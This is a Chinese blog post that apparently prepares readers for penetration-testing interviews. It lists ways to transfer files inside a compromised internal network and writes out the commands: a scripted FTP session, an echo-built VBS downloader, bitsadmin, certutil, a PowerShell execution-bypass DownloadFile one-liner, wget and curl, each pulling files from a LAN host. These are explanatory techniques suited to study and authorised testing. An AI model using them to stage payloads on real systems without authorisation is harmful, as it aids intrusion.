之前把关于内网的大块知识点基本都水了一遍,想起来最近听HW的朋友说有他面试有问过这个问题,我自己也想了一下,感觉答得不是很全面
今天就参考网上常见的办法,整理了一些个人了解的常见的内网渗透中的文件下载方式,欢迎师傅们补充
都是很通用的办法,没什么复杂的地方,不演示了
1.FTP
正常Windows平台都支持FTP
常见的FTP命令:
open <ftp服务器地址>:连接指定的FTP服务器
cd:进入指定的目录
put/send <本地文件> <远程目录>:将目标机器本地文件上传到服务器远程目录 // send和put方法用法都基本相同,但是上传速度send却要比put快很多
get <远程文件> <本地目录>:将ftp服务器上的文件下载到本地目标机器中
等等。。。。。。
详情参考:https://blog.csdn.net/IndexMan/article/details/46387561
https://www.cnblogs.com/emilyyoucan/p/7550574.html
(FTP可以下载,自然也可以用于上传)
举个例子,可以使用CMD命令一条条敲,在CMD显示的路径下,生成ftp.txt文件,例如:
echo open 192.168.1.18 21>> ftp.txt
echo username>> ftp.txt //用户名
echo password>> ftp.txt //密码
echo binary >> ftp.txt //用bin模式,通用性比ascii模式好传得快,传文本、图片、压缩文件、可执行文件都可以
echo get robots.txt >> ftp.txt
echo bye >> ftp.txt
即把
open 192.168.1.18 21
username
password
binary
get robots.txt
bye
写进我自己机器某路径下的ftp.txt中
之后在cmd中ftp -s:ftp.txt ,执行ftp.txt文件,实现对目标的robots.txt文件的下载
也可以一条条命令单独写,单独执行,不写进脚本
2.vbs
在cmd命令中执行,下面的命令,在当前目录下生成hhh.vbs脚本,执行脚本,将目标的art.php下载到本地的d:目录下重命名为myart.php
(这个生成的vbs脚本是不免杀的)
echo Set Post = CreateObject("Msxml2.XMLHTTP") >>hhh.vbs
echo Set Shell = CreateObject("Wscript.Shell") >>hhh.vbs
echo Post.Open "GET","http://192.168.1.17/art.php",0 >>hhh.vbs
echo Post.Send() >>hhh.vbs
echo Set aGet = CreateObject("ADODB.Stream") >>hhh.vbs
echo aGet.Mode = 3 >>hhh.vbs
echo aGet.Type = 1 >>hhh.vbs
echo aGet.Open() >>hhh.vbs
echo aGet.Write(Post.responseBody) >>hhh.vbs
echo aGet.SaveToFile "d:myart.php",2 >>hhh.vbs
3.bitsadmin
win7以上Windows系统自带功能
bitsadmin /transfer <任务名> <remote_url> <local_name>
例如:
bitsadmin /transfer n http://192.168.1.17/art.php D:1myart.php n为任务号
bitsadmin要求服务器支持Range标头
如下载大文件,需要提高优先级的,在上面正常命令后加一条:
bitsadmin /setpriority n foreground
4.certutil
和bitsadmin一样,也是Windows自带的功能
certutil -urlcache -split -f http://192.168.1.17/art.php D:1myart.php
问题是每次下载都有缓存
需要执行
certutil -urlcache -split -f http://192.168.1.17/art.php delete
来清除数据缓存
参考:https://www.cnblogs.com/backlion/p/7325228.html
5.Powershell
可以利用Powershell一句话下载
例如,cmd执行:
powershell -exec bypass -c (New-Object System.Net.WebClient).DownloadFile('http://192.168.1.17/art.php','D:1myart.php')
也可以写ps1脚本
或者打开powershell利用$client
$client = new-object System.Net.WebClient
$client.DownloadFile('http://192.168.1.17/art.php','D:1myart.php')
6.wget
以上都着重介绍了Windows中常见的下载方法,而wget则是Linux中常见的下载方法之一
虽然说Windows下也可以用wget,需要下载exe文件到目标机器再执行,多此一举
在Linux中直接执行例如:wget http://192.168.1.17/art.php
更多命令参考:https://www.cnblogs.com/sx66/p/11887022.html
7.curl
又一个Linux平台的文件数据传输方法
可以加--output接文件名:
curl http://192.168.1.17/art.php --output myphp.php
更多命令参考:https://blog.csdn.net/zhujy5/article/details/88391070
8.其他
还有一些其他的下载方法,比如写各种脚本(python或者其他的)、两台主机netcat互传、文件共享、git clone、Linux下的scp、rz命令等等......不介绍了,参考网上其他师傅们的文章吧
未经允许,禁止转载